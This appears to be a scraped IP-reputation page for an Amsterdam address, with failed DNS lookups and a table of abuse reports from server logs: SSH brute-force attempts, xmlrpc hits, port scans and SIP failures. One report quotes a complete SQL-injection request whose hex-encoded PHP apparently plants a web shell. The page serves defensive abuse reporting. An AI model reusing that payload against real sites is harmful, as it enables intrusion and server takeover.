45.9.148.168 - IPInfo

Basic Info

City: Amsterdam

Region: North Holland

Country: Netherlands

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
45.9.148.29	attackbots	Fail2Ban Ban Triggered	2020-09-09 20:28:52
45.9.148.29	attack	Fail2Ban Ban Triggered	2020-09-09 14:26:03
45.9.148.29	attackbots	Fail2Ban Ban Triggered	2020-09-09 06:37:37
45.9.148.82	attackspam	Probable attack : HTTPS hit by IP; not hostname	2020-08-05 05:13:44
45.9.148.125	attack		2020-07-23 15:43:19
45.9.148.194	attack	/adminer/adminer.php	2020-07-08 02:48:46
45.9.148.91	attack	sca	2020-07-05 19:44:20
45.9.148.194	attackbotsspam	404 NOT FOUND	2020-07-04 16:33:20
45.9.148.91	attackspambots	Unauthorized connection attempt detected from IP address 45.9.148.91 to port 53	2020-06-24 12:48:06
45.9.148.213	attackbots	schuetzenmusikanten.de 45.9.148.213 [20/Jun/2020:14:18:46 +0200] "POST /xmlrpc.php HTTP/1.0" 301 511 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" schuetzenmusikanten.de 45.9.148.213 [20/Jun/2020:14:18:48 +0200] "POST /xmlrpc.php HTTP/1.0" 200 3595 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"	2020-06-20 22:24:58
45.9.148.91	attackspambots	IP: 45.9.148.91 Ports affected HTTP protocol over TLS/SSL (443) Abuse Confidence rating 100% Found in DNSBL('s) ASN Details AS49447 Nice IT Services Group Inc. Netherlands (NL) CIDR 45.9.148.0/23 Log Date: 10/06/2020 8:12:49 AM UTC	2020-06-10 16:38:20
45.9.148.215	attackspambots	xmlrpc attack	2020-06-05 21:27:32
45.9.148.220	attackbotsspam	(mod_security) mod_security (id:210492) triggered by 45.9.148.220 (NL/Netherlands/-): 5 in the last 3600 secs	2020-05-31 07:52:05
45.9.148.131	attack	SSH login attempts.	2020-05-28 14:52:20
45.9.148.213	attackbots	Tor exit node	2020-05-28 02:35:30

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 45.9.148.168
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 33638
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;45.9.148.168.			IN	A

;; AUTHORITY SECTION:
.			190	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2021102602 1800 900 604800 86400

;; Query time: 26 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Oct 27 18:41:15 CST 2021
;; MSG SIZE  rcvd: 105

Host info

b';; connection timed out; no servers could be reached
'

Nslookup info:

server can't find 45.9.148.168.in-addr.arpa: SERVFAIL

Related IP info:

Related comments:

IP	Type	Details	Datetime
118.89.35.251	attackbots	Nov 17 06:04:20 hpm sshd\[9129\]: Invalid user angel from 118.89.35.251 Nov 17 06:04:20 hpm sshd\[9129\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.35.251 Nov 17 06:04:22 hpm sshd\[9129\]: Failed password for invalid user angel from 118.89.35.251 port 35742 ssh2 Nov 17 06:08:39 hpm sshd\[9477\]: Invalid user lukshun from 118.89.35.251 Nov 17 06:08:39 hpm sshd\[9477\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.89.35.251	2019-11-18 04:56:39
185.143.223.133	attack	185.143.223.133 was recorded 91 times by 24 hosts attempting to connect to the following ports: 735,56066,39396,2662,23637,877,63307,62122,46806,36768,17,898,44671,54140,4070,64813,55239,828,2228,54124,38385,62628,61619,6567,21,2869,2652,7217,1020,62117,43436,56289,55559,46923,52398,14149,62829,54149,2347,678,38883,797,5065,773,38990,64685,8345,53531,13139,26364,55573,23839,14546,4566,16412,840,845,59684,11415,53437,23738,36566,55051,881,37677,36636,37371,685,20497,58888,49091,770,18990,2782,24546,23334,57789,1239,475,18888,35152,43333,4324,54344,42429,25251,16594,41718,3459,8416,51643. Incident counter (4h, 24h, all-time): 91, 203, 1390	2019-11-18 05:06:56
167.99.74.119	attack	xmlrpc attack	2019-11-18 04:50:29
63.80.184.110	attackspambots	2019-11-17T15:36:54.114054stark.klein-stark.info postfix/smtpd\[21286\]: NOQUEUE: reject: RCPT from cloudy.sapuxfiori.com\[63.80.184.110\]: 554 5.7.1 \: Relay access denied\; from=\ to=\ proto=ESMTP helo=\ ...	2019-11-18 05:01:51
121.172.162.34	attackbotsspam	Nov 17 17:38:45 www sshd\[14519\]: Invalid user becky from 121.172.162.34 Nov 17 17:38:45 www sshd\[14519\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.172.162.34 Nov 17 17:38:48 www sshd\[14519\]: Failed password for invalid user becky from 121.172.162.34 port 44774 ssh2 ...	2019-11-18 05:03:43
150.95.54.138	attack	Automatic report - XMLRPC Attack	2019-11-18 05:14:10
45.125.65.71	attackspambots	\[2019-11-17 15:38:43\] SECURITY\[2634\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-11-17T15:38:43.012-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="011916011901148443071005",SessionID="0x7fdf2c003608",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.125.65.71/53061",ACLName="no_extension_match" \[2019-11-17 15:39:15\] SECURITY\[2634\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-11-17T15:39:15.731-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="0119106011901148443071005",SessionID="0x7fdf2c003608",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.125.65.71/57121",ACLName="no_extension_match" \[2019-11-17 15:39:45\] SECURITY\[2634\] res_security_log.c: SecurityEvent="FailedACL",EventTV="2019-11-17T15:39:45.636-0500",Severity="Error",Service="SIP",EventVersion="1",AccountID="01191106011901148443071005",SessionID="0x7fdf2c7e8d58",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.125.6	2019-11-18 04:52:03
185.164.2.135	attackspambots	Automatic report - Port Scan Attack	2019-11-18 05:04:32
154.8.185.122	attackbotsspam	$f2bV_matches	2019-11-18 05:18:26
212.119.65.233	attackbotsspam	Unauthorised access (Nov 17) SRC=212.119.65.233 LEN=40 TOS=0x10 PREC=0x40 TTL=240 ID=6505 TCP DPT=1433 WINDOW=1024 SYN	2019-11-18 05:08:38
112.64.170.178	attack	Nov 17 21:58:32 microserver sshd[41668]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.64.170.178 user=root Nov 17 21:58:35 microserver sshd[41668]: Failed password for root from 112.64.170.178 port 11964 ssh2 Nov 17 22:05:03 microserver sshd[42449]: Invalid user ld from 112.64.170.178 port 21572 Nov 17 22:05:03 microserver sshd[42449]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.64.170.178 Nov 17 22:05:05 microserver sshd[42449]: Failed password for invalid user ld from 112.64.170.178 port 21572 ssh2 Nov 17 22:19:58 microserver sshd[44454]: Invalid user admin from 112.64.170.178 port 17972 Nov 17 22:19:58 microserver sshd[44454]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.64.170.178 Nov 17 22:20:00 microserver sshd[44454]: Failed password for invalid user admin from 112.64.170.178 port 17972 ssh2 Nov 17 22:24:43 microserver sshd[45098]: Invalid user oracle from 112.6	2019-11-18 05:02:43
108.222.68.232	attackbotsspam	Nov 17 17:00:50 vps647732 sshd[19727]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=108.222.68.232 Nov 17 17:00:52 vps647732 sshd[19727]: Failed password for invalid user guest from 108.222.68.232 port 58238 ssh2 ...	2019-11-18 05:08:52
104.148.105.5	attack	Web app attack & sql injection attempts. Date: 2019 Nov 17. 18:11:58 Source IP: 104.148.105.5 Portion of the log(s): 104.148.105.5 - [17/Nov/2019:18:11:57 +0100] "POST /ysyqq.php HTTP/1.1" 404 548 "http://[removed].hu/ysyqq.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" 104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login HTTP/1.1" 404 548 "45ea207d7a2b68c49582d2d22adf953aads\|a:2:{s:3:\x22num\x22;s:297:\x22/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/\x22;}45ea207d7a2b68c49582d2d22adf953a" 104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fqopr.php 104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fdgq.php 104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login ....	2019-11-18 05:01:17
41.141.111.237	attackbotsspam	ENG,WP GET /wp-login.php	2019-11-18 05:19:53
138.197.36.189	attackspam	pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.36.189 user=root Failed password for root from 138.197.36.189 port 33834 ssh2 Invalid user nfs from 138.197.36.189 port 42560 pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.36.189 Failed password for invalid user nfs from 138.197.36.189 port 42560 ssh2	2019-11-18 05:04:58

Recently Reported IPs

46.189.211.51	171.224.180.220	162.255.119.95	140.238.33.131
120.29.87.91	217.251.204.189	120.25.108.11	193.218.118.118
194.187.232.38	205.185.124.172	104.244.75.240	204.44.64.79
49.145.226.34	27.154.66.210	176.44.95.164	51.253.36.82
167.86.183.93	192.3.106.1	169.254.131.197	173.212.248.10